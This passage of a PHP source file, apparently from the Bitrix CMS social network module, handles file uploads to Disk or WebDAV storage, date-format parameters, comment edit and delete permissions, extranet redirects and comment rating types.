					($storage = \Bitrix\Disk\Driver::getInstance()->getStorageByUserId($userId))
					&& ($folder = $storage->getFolderForUploadedFiles($userId))
				)
				{
					$arDiskData[$userId] = array(
						"ENABLED" => "Y",
						"STORAGE" => $storage,
						"FOLDER" => $folder
					);
				}
			}
		}

		if (!isset($arWebDavData[$userId]))
		{
			$arWebDavData[$userId] = array(
				"ENABLED" => "N"
			);

			if ($isWebDavEnabled == "Y")
			{
				$webDavData = CWebDavIblock::getRootSectionDataForUser($userId);

				if (is_array($webDavData))
				{
					$webDavObject = new CWebDavIblock(
						$webDavData["IBLOCK_ID"],
						"",
						array(
							"ROOT_SECTION_ID" => $webDavData["SECTION_ID"],
							"DOCUMENT_TYPE" => array("webdav", 'CIBlockDocumentWebdavSocnet', 'iblock_'.$webDavData['SECTION_ID'].'_user_'.$userId)
						)
					);

					if ($webDavObject)
					{
						$arParent = $webDavObject->GetObject(
							array(
								"section_id" => $webDavObject->GetMetaID("DROPPED")
							)
						);

						if (!$arParent["not_found"])
						{
							$path = $webDavObject->_get_path($arParent["item_id"], false);
							$tmpName = str_replace(array(":", ".", "/", "\\"), "_", ConvertTimeStamp(time(), "FULL"));
							$tmpOptions = array("path" => str_replace("//", "/", $path."/".$tmpName));
							$arParent = $webDavObject->GetObject($tmpOptions);
							if ($arParent["not_found"])
							{
								$rMKCOL = $webDavObject->MKCOL($tmpOptions);
								if (intval($rMKCOL) == 201)
								{
									$webDavData["SECTION_ID"] = $webDavObject->arParams["changed_element_id"];
								}
							}
							else
							{
								$webDavData["SECTION_ID"] = $arParent['item_id'];
								if (!$webDavObject->CheckUniqueName($tmpName, $webDavData["SECTION_ID"], $tmpRes))
								{
									$path = $webDavObject->_get_path($webDavData["SECTION_ID"], false);
									$tmpName = randString(6);
									$tmpOptions = array("path" => str_replace("//", "/", $path."/".$tmpName));
									$rMKCOL = $webDavObject->MKCOL($tmpOptions);
									if (intval($rMKCOL) == 201)
									{
										$webDavData["SECTION_ID"] = $webDavData->arParams["changed_element_id"];
									}
								}
							}

							$arWebDavData[$userId] = array(
								"ENABLED" => "Y",
								"OBJECT" => $webDavObject,
								"DATA" => $webDavData
							);
						}
					}
				}
			}
		}

		if(is_array($arFile))
		{
			$resultId = false;
			if ($arDiskData[$userId]["ENABLED"] == "Y")
			{
				$type = "disk";
				$file = $arDiskData[$userId]["FOLDER"]->uploadFile(
					$arFile, // file array
					array(
						'NAME' => $arFile["name"],
						'CREATED_BY' => $userId
					),
					array(),
					true
				);

				if ($file)
				{
					$resultId = \Bitrix\Disk\Uf\FileUserType::NEW_FILE_PREFIX.$file->getId();
				}
			}
			elseif ($arWebDavData[$userId]["ENABLED"] == "Y")
			{
				$type = "webdav";
				$options = array(
					"new" => true,
					'dropped' => true,
					"arFile" => $arFile,
					"arDocumentStates" => false,
					"arUserGroups" => array_merge($arWebDavData[$userId]["OBJECT"]->USER["GROUPS"], array("Author")),
					"FILE_NAME" => $arFile["name"],
					"IBLOCK_ID" => $arWebDavData[$userId]["DATA"]["IBLOCK_ID"],
					"IBLOCK_SECTION_ID" => $arWebDavData[$userId]["DATA"]["SECTION_ID"],
					"USER_FIELDS" => array()
				);

				$USER_FIELD_MANAGER->EditFormAddFields($arWebDavData[$userId]["OBJECT"]->GetUfEntity(), $options['USER_FIELDS']);

				$DB->StartTransaction();

				if (!$arWebDavData[$userId]["OBJECT"]->put_commit($options))
				{
					$DB->Rollback();
				}
				else
				{
					$DB->Commit();
					$resultId = $options['ELEMENT_ID'];
				}

			}
			else // for main
			{
				$type = "main";
				$resultId = CFile::SaveFile($arFile, $arFile["MODULE_ID"]);
			}
		}

		return $resultId;
	}

	public static function checkEmptyUFValue($fieldName)
	{
		if (
			isset($GLOBALS[$fieldName])
			&& is_array($GLOBALS[$fieldName])
			&& count($GLOBALS[$fieldName]) == 1
			&& $GLOBALS[$fieldName][0] == 'empty'
		)
		{
			$GLOBALS[$fieldName] = array();
		}
	}

	public static function isSetTrafficNeeded($arParams)
	{
		if (
			!isset($arParams["TRAFFIC_SET_PERIOD"])
			|| intval($arParams["TRAFFIC_SET_PERIOD"]) <= 0
		)
		{
			$arParams["TRAFFIC_SET_PERIOD"] = 60*60*24;
		}

		return (
			intval($arParams["PAGE_NUMBER"]) == 1
			&& $arParams["GROUP_CODE"] == '**'
			&& (time() - $arParams['TRAFFIC_LAST_DATE_TS']) > $arParams["TRAFFIC_SET_PERIOD"]
		);
	}

	public static function processDateTimeFormatParams(&$arParams = array())
	{
		global $DB;

		if (
			!is_array($arParams)
			|| empty($arParams)
		)
		{
			return;
		}

		$arParams["DATE_TIME_FORMAT"] = trim(
			!empty($arParams['DATE_TIME_FORMAT'])
				? ($arParams['DATE_TIME_FORMAT'] == 'FULL'
					? $DB->DateFormatToPHP(FORMAT_DATETIME)
					: $arParams['DATE_TIME_FORMAT']
				)
				: $DB->DateFormatToPHP(FORMAT_DATETIME)
		);
		$arParams["DATE_TIME_FORMAT"] = preg_replace('/[\/.,\s:][s]/', '', $arParams["DATE_TIME_FORMAT"]);
		$arParams["DATE_TIME_FORMAT_WITHOUT_YEAR"] = (
			isset($arParams["DATE_TIME_FORMAT_WITHOUT_YEAR"])
				? $arParams["DATE_TIME_FORMAT_WITHOUT_YEAR"]
				: preg_replace('/[\/.,\s-][Yyo]/', '', $arParams["DATE_TIME_FORMAT"])
		);
		$arParams["TIME_FORMAT"] = (
			isset($arParams["TIME_FORMAT"])
				? $arParams["TIME_FORMAT"]
				: preg_replace('/[\/.,\s]+$/', '', preg_replace('/^[\/.,\s]+/', '', preg_replace('/[dDjlFmMnYyo]/', '', $arParams["DATE_TIME_FORMAT"])))
		);
		$arParams["DATE_FORMAT"] = (
			isset($arParams["DATE_FORMAT"])
				? $arParams["DATE_FORMAT"]
				: preg_replace('/[\/.,:\s]+$/', '', preg_replace('/^[\/.,\s]+/', '', preg_replace('/[aABgGhHisuveIOPTZ]/', '', $arParams["DATE_TIME_FORMAT"])))
		);
	}

	public static function getDateTimeFormatted($timestamp, $arFormatParams)
	{
		return \CComponentUtil::getDateTimeFormatted($timestamp, $arFormatParams["DATE_TIME_FORMAT"], CTimeZone::GetOffset());
	}

	public static function getCommentRights($arParams)
	{
		global $USER;

		$arResult = array(
			"COMMENT_RIGHTS_EDIT" => "N",
			"COMMENT_RIGHTS_DELETE" => "N"
		);

		$logEventId = (
			isset($arParams["EVENT_ID"])
			&& strlen($arParams["EVENT_ID"]) > 0
				? $arParams["EVENT_ID"]
				: false
		);

		$logSourceId = (
			isset($arParams["SOURCE_ID"])
			&& intval($arParams["SOURCE_ID"]) > 0
				? intval($arParams["SOURCE_ID"])
				: false
		);

		$bCheckAdminSession = (
			!isset($arParams["CHECK_ADMIN_SESSION"])
			|| $arParams["CHECK_ADMIN_SESSION"] != "N"
		);

		$arCommentEventMeta = CSocNetLogTools::FindLogCommentEventByLogEventID($logEventId);

		$bHasEditCallback = (
			is_array($arCommentEventMeta)
			&& isset($arCommentEventMeta["UPDATE_CALLBACK"])
			&& (
				$arCommentEventMeta["UPDATE_CALLBACK"] == "NO_SOURCE"
				|| is_callable($arCommentEventMeta["UPDATE_CALLBACK"])
			)
		);

		$bHasDeleteCallback = (
			is_array($arCommentEventMeta)
			&& isset($arCommentEventMeta["DELETE_CALLBACK"])
			&& (
				$arCommentEventMeta["DELETE_CALLBACK"] == "NO_SOURCE"
				|| is_callable($arCommentEventMeta["DELETE_CALLBACK"])
			)
		);

		if (
			$bHasEditCallback
			|| $bHasDeleteCallback
		)
		{
			$arEventMeta = CSocNetLogTools::FindLogEventByID($logEventId);

			if (
				!empty($arEventMeta)
				&& !empty($arEventMeta["COMMENT_EVENT"])
				&& !empty($arEventMeta["COMMENT_EVENT"]["METHOD_CANEDIT"])
			)
			{
				$res = call_user_func($arEventMeta["COMMENT_EVENT"]["METHOD_CANEDIT"], array(
					"LOG_SOURCE_ID" => $logSourceId,
					"USER_ID" => intval($arParams["USER_ID"])
				));

				if ($res)
				{
					$arResult["COMMENT_RIGHTS_EDIT"] = ($bHasEditCallback ? "ALL" : "N");
					$arResult["COMMENT_RIGHTS_DELETE"] = ($bHasDeleteCallback ? "ALL" : "N");
				}
				else
				{
					if (!empty($arEventMeta["COMMENT_EVENT"]["METHOD_CANEDITOWN"]))
					{
						$res = call_user_func($arEventMeta["COMMENT_EVENT"]["METHOD_CANEDITOWN"], array(
							"LOG_SOURCE_ID" => $logSourceId,
							"USER_ID" => intval($arParams["USER_ID"])
						));

						if ($res)
						{
							$arResult["COMMENT_RIGHTS_EDIT"] = ($bHasEditCallback ? "OWN" : "N");
							$arResult["COMMENT_RIGHTS_DELETE"] = ($bHasDeleteCallback ? "OWN" : "N");
						}
					}
					elseif ($USER->IsAuthorized())
					{
						$arResult["COMMENT_RIGHTS_EDIT"] = ($bHasEditCallback ? "OWN" : "N");
						$arResult["COMMENT_RIGHTS_DELETE"] = ($bHasDeleteCallback ? "OWN" : "N");
					}
				}
			}
			elseif (CSocNetUser::IsCurrentUserModuleAdmin(SITE_ID, $bCheckAdminSession))
			{
				$arResult["COMMENT_RIGHTS_EDIT"] = ($bHasEditCallback ? "ALL" : "N");
				$arResult["COMMENT_RIGHTS_DELETE"] = ($bHasDeleteCallback ? "ALL" : "N");
			}
			elseif ($USER->IsAuthorized())
			{
				$arResult["COMMENT_RIGHTS_EDIT"] = ($bHasEditCallback ? "OWN" : "N");
				$arResult["COMMENT_RIGHTS_DELETE"] = ($bHasDeleteCallback ? "OWN" : "N");
			}
		}

		return $arResult;
	}

	public static function canUserChangeComment($arParams)
	{
		global $USER;

		$res = false;

		if (!is_array($arParams))
		{
			$arParams = array();
		}

		if (empty($arParams["LOG_EVENT_ID"]))
		{
			return $res;
		}

		if (
			!isset($arParams["USER_ID"])
			|| intval($arParams["USER_ID"]) <= 0
		)
		{
			$arParams["USER_ID"] = $USER->GetId();
		}

		if (!isset($arParams["ACTION"]))
		{
			$arParams["ACTION"] = "edit";
		}

		$arParams["ACTION"] = ToUpper($arParams["ACTION"]);

		$rights = CSocNetLogComponent::getCommentRights(array(
			"EVENT_ID" => $arParams["LOG_EVENT_ID"],
			"SOURCE_ID" => (isset($arParams["LOG_SOURCE_ID"]) ? intval($arParams["LOG_SOURCE_ID"]) : false),
			"CHECK_ADMIN_SESSION" => (isset($arParams["CHECK_ADMIN_SESSION"]) && $arParams["CHECK_ADMIN_SESSION"] == "N" ? "N" : "Y"),
			"USER_ID" => $arParams["USER_ID"]
		));

		$key = ($arParams["ACTION"] == "EDIT" ? "COMMENT_RIGHTS_EDIT" : "COMMENT_RIGHTS_DELETE");

		if (
			$rights[$key] == "ALL"
			|| (
				$rights[$key] == "OWN"
				&& !empty($arParams["COMMENT_USER_ID"])
				&& intval($arParams["COMMENT_USER_ID"]) > 0
				&& intval($arParams["COMMENT_USER_ID"]) == intval($arParams["USER_ID"])
			)
		)
		{
			$res = true;
		}

		return $res;
	}

	public static function getExtranetRedirectSite($extranetSiteId)
	{
		global $USER;

		$arRedirectSite = false;

		if ($USER->IsAuthorized())
		{
			$rsCurrentUser = CUser::GetById($USER->GetId());
			if ($arCurrentUser = $rsCurrentUser->Fetch())
			{
				$bCurrentUserIntranet = (
					!empty($arCurrentUser["UF_DEPARTMENT"])
					&& is_array($arCurrentUser["UF_DEPARTMENT"])
					&& intval($arCurrentUser["UF_DEPARTMENT"][0]) > 0
				);

				if (
					SITE_ID == $extranetSiteId
					&& $bCurrentUserIntranet
					&& !CSocNetUser::IsCurrentUserModuleAdmin()
				) // extranet -> intranet
				{
					$arRedirectSite = CSocNetLogComponent::GetSiteByDepartmentId($arCurrentUser["UF_DEPARTMENT"]);
					if ($arRedirectSite["LID"] == SITE_ID)
					{
						$arRedirectSite = false;
					}
				}
				elseif (
					SITE_ID != $extranetSiteId
					&& !$bCurrentUserIntranet
					&& !CSocNetUser::IsCurrentUserModuleAdmin(SITE_ID, false)
				) // intranet -> extranet
				{
					$rsRedirectSite = CSite::GetList($b = "SORT", $o = "asc", array("ACTIVE" => "Y", "LID" => $extranetSiteId)); // cache used
					$arRedirectSite = $rsRedirectSite->Fetch();
				}
			}
		}

		return $arRedirectSite;
	}

	public static function redirectExtranetSite($arRedirectSite, $componentPage, $arVariables, $arDefaultUrlTemplates404, $entity = "user")
	{
		if ($entity != "user")
		{
			$entity = "workgroup";
		}

		$url = (
			strlen(trim($arRedirectSite["SERVER_NAME"])) > 0
			&& $arRedirectSite["SERVER_NAME"] != SITE_SERVER_NAME
				? (CMain::IsHTTPS() ? "https" : "http")."://".$arRedirectSite["SERVER_NAME"]
				: ''
		).
		COption::GetOptionString("socialnetwork", ($entity == "user" ? "user_page" : "workgroups_page"), false, $arRedirectSite["LID"]).
		CComponentEngine::MakePathFromTemplate(
			$arDefaultUrlTemplates404[$componentPage],
			$arVariables
		);

		if (!empty($_GET["MID"]))
		{
			$url .= (strpos($url, '?') === false ? '?' : '&').'MID='.intval($_GET["MID"]);
		}

		LocalRedirect($url);
	}

	public static function getCommentByRequest($commentId, $postId, $action = false, $checkPerms = true, $checkAdminSession = true)
	{
		$commentId = intval($commentId);
		$postId = intval($postId);

		$arOrder = array();

		$rsLog = CSocNetLog::GetList(
			array(),
			array(
				"ID" => $postId
			),
			false,
			false,
			array("EVENT_ID", "SOURCE_ID", "ENTITY_ID")
		);

		if ($arLog = $rsLog->Fetch())
		{
			$hasSource = ComponentHelper::hasCommentSource(array(
				"LOG_EVENT_ID" => $arLog["EVENT_ID"],
				"LOG_ENTITY_ID" => $arLog["ENTITY_ID"]
			));

			$arCommentEvent = CSocNetLogTools::FindLogCommentEventByLogEventID($arLog["EVENT_ID"]);

			$arFilter = array(
				"EVENT_ID" => $arCommentEvent["EVENT_ID"]
			);

			if ($hasSource)
			{
				$arFilter["SOURCE_ID"] = $commentId; // forum etc.
			}
			else
			{
				$arFilter["ID"] = $commentId; // socialnetwork
			}

			$dbRes = CSocNetLogComments::GetList(
				$arOrder,
				$arFilter,
				false,
				false,
				array("ID", "EVENT_ID", "MESSAGE", "USER_ID", "SOURCE_ID", "LOG_SOURCE_ID", "UF_*")
			);

			if ($arRes = $dbRes->Fetch())
			{
				if ($checkPerms)
				{
					$bAllow = CSocNetLogComponent::canUserChangeComment(array(
						"ACTION" => $action,
						"LOG_ID" => $postId,
						"LOG_EVENT_ID" => $arLog["EVENT_ID"],
						"LOG_SOURCE_ID" => $arLog["SOURCE_ID"],
						"COMMENT_ID" => $arRes["ID"],
						"COMMENT_USER_ID" => $arRes["USER_ID"],
						"CHECK_ADMIN_SESSION" => ($checkAdminSession ? "Y" : "N")
					));
				}
				else
				{
					$bAllow = true;
				}

				if (!$bAllow)
				{
					$arRes = false;
				}
				else
				{
					if ($action == "edit") // data needed only for edit
					{
						$arUFMeta = $GLOBALS["USER_FIELD_MANAGER"]->GetUserFields("SONET_COMMENT", 0, LANGUAGE_ID);
						$arRes["UF"] = array();

						foreach($arUFMeta as $field_name => $arUF)
						{
							if (
								array_key_exists($field_name, $arRes)
								&& !empty($arRes[$field_name])
							)
							{
								$arRes["UF"][$field_name] = $arUFMeta[$field_name];
								$arRes["UF"][$field_name]["VALUE"] = $arRes[$field_name];
								$arRes["UF"][$field_name]["ENTITY_VALUE_ID"] = $arRes["ID"];
								unset($arRes[$field_name]);
							}
						}
					}
				}
			}

			return $arRes;
		}

		return false;
	}

	public static function getCommentRatingType($logEventId, $logId = false)
	{
		$res = "LOG_COMMENT";

		$arCommentEventMeta = CSocNetLogTools::FindLogCommentEventByLogEventID($logEventId);
		if (
			$arCommentEventMeta
			&& isset($arCommentEventMeta["RATING_TYPE_ID"])
		)
		{
			$res = $arCommentEventMeta["RATING_TYPE_ID"];
		}
		elseif (
			$logEventId == "photo_photo"
			&& intval($logId) > 0
		)
		{
			$commentType = CSocNetPhotoCommentEvent::FindLogType($logId);
			if (
				$commentType
				&& isset($commentType["TYPE"])
			)
			{
				if ($commentType["TYPE"] == "FORUM")
				{
					$res = "FORUM_POST";
				}
				elseif ($commentType["TYPE"] == "BLOG")
				{
					$res = "BLOG_COMMENT";
				}
			}
		}
		elseif (in_array($logEventId, array("wiki", "calendar", "news", "lists_new_element", "timeman_entry", "report")))
		{
			$res = "FORUM_POST";
		}
		elseif (in_array($logEventId, array("idea")))
		{
			$res = "BLOG_COMMENT";
		}

		return $res;
	}
}
?>